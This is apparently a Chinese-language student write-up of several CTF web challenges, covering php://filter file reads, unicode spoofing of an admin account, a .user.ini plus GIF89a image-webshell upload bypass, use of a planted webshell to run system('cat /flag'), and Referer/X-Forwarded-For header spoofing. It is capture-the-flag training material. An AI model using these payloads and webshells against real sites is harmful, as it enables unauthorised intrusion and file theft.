0x00.前言

*php是世界上最好的语言,好就好在他经常被用来出ctf题。。。

*感觉摸到门道了啊,第一题8分钟就顺利搞出来了。。。(运气好?)


0x01.Secrete File

日常查看源代码,发现./Archive_room.php链接,点开发现有个跳转链接,点开。。。。。没看清啊,用BurpSuite再看一次,,这次看清了,发现了一个secr3t.php文件,直接访问得到源码,看到源码里面有个file变量,于是我他妈直接php://filter尝试偷鸡,并且偷鸡成功得到结果,再base64解码即可看到flag。

考点:php://filter伪协议,payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php


0x02.[HCTF 2018]admin

这道题做了一会,发现完全没思路,反手Google了一些大佬们的wp,发现不简单,首先很多大佬都给出来3个解法分别是1.unicode欺骗。2.session()伪造。3.条件竞争。发现我一种也不会,后面看到了出题本人写的《出题人求挨打》https://www.ckj123.com/?p=147,发现出题人主要是想考察unicode欺骗,结果bug百出,看了这道题的一血大佬的做题思路也是感叹大佬们都太强了。下面给出unicode欺骗思路。

首先在changpassword页面找到此题的源码,下载到本地进行代码审计(我是第一次看到Python写的网页!!活的),用的Python-flask框架,在注册登录改密码页面发现都用了strlower()函数,但Python里面自带的是.lower()所以有问题,右键Go to defination,自己写的肯定有问题,所以直接听大佬们的把admin当中的a改成ᴬ,注册一遍,再登录,发现ᴬ变成了A,是strlower内部的执行问题,编码转换过后变成了A,再登录,改密码,A变成了a,然后登录admin账号得到flag!

这道题,,,,是真的把我秀到了,不知道我多久能有这些大佬的水平。。。。其他2种解法可参考《出题人求挨打》(打爆狗头!!)


0x03.[SUCTF 2019]CheckIn

[time​]  2020年4月13日18:28:46

这道题,看了源码,就是上传文件加绕过一些规则。

jpg文件校验可以用GIF89a来绕过

但是如何绕过<?字符把我困扰到了,但是想起了在《php救命手册》《php官方手册》中看到的短标记那些知识,去翻了翻,可以用:

 <script language='php'>eval($_GET('cmd'));</script>

来绕过<?字符。后来无论怎么操作都失败了。。。。于是看大佬的wp。解锁新姿势。

.user.ini(可查阅手册)

我们可以在.user.ini中设置php.iniPHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini

两个有趣的设置:auto_prepend_fileauto_append_file

大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

看过.user.ini的分析后我们的思路应该比较清晰了,我们可以上传一个这样的.user.ini

 GIF89a
 auto_prepend_file=a.jpg

此时我们注意到上传目录下还有一个index.php,我们正好需要该目录下有一个可执行php文件,那这简直暴露了考点就是.user.ini,看来这个思路应该是可行的

然后再上传一个这样的图片马a.jpg:

 GIF89a
 <script language='php'>system('cat /flag');</script>

得到flag!

以上,就是大佬的大致思路。


0x04.[极客大挑战 2019]Knife

[time]  2020/4/13 23:21:55

真就白给的shell呗,直接POST Syc=system('cat /flag')即可!

(其实我先ls -l /了一次,才cat /flag的(逃....))

。。。

试了试蚁剑,由于之前没用过用不来,这次学了学,这里要感谢学校的star大佬的指点,谢谢学长!!

成功连接到shell。


0x05.[极客大挑战 2019]Http

[time​]  2020年4月14日00:01:20

查看源代码,找到Secret.php

提示It doesn't come from 'https://www.Sycsecret.com'

burp抓包添加Referer:https://www.Sycsecret.com

提示You are not use the Syclover Browser.

修改Firfox为Syclover

提示No!!! you can only read this locally!!!

添加X-Forwarded_For:127.0.0.1

得到flag


我啥也不会!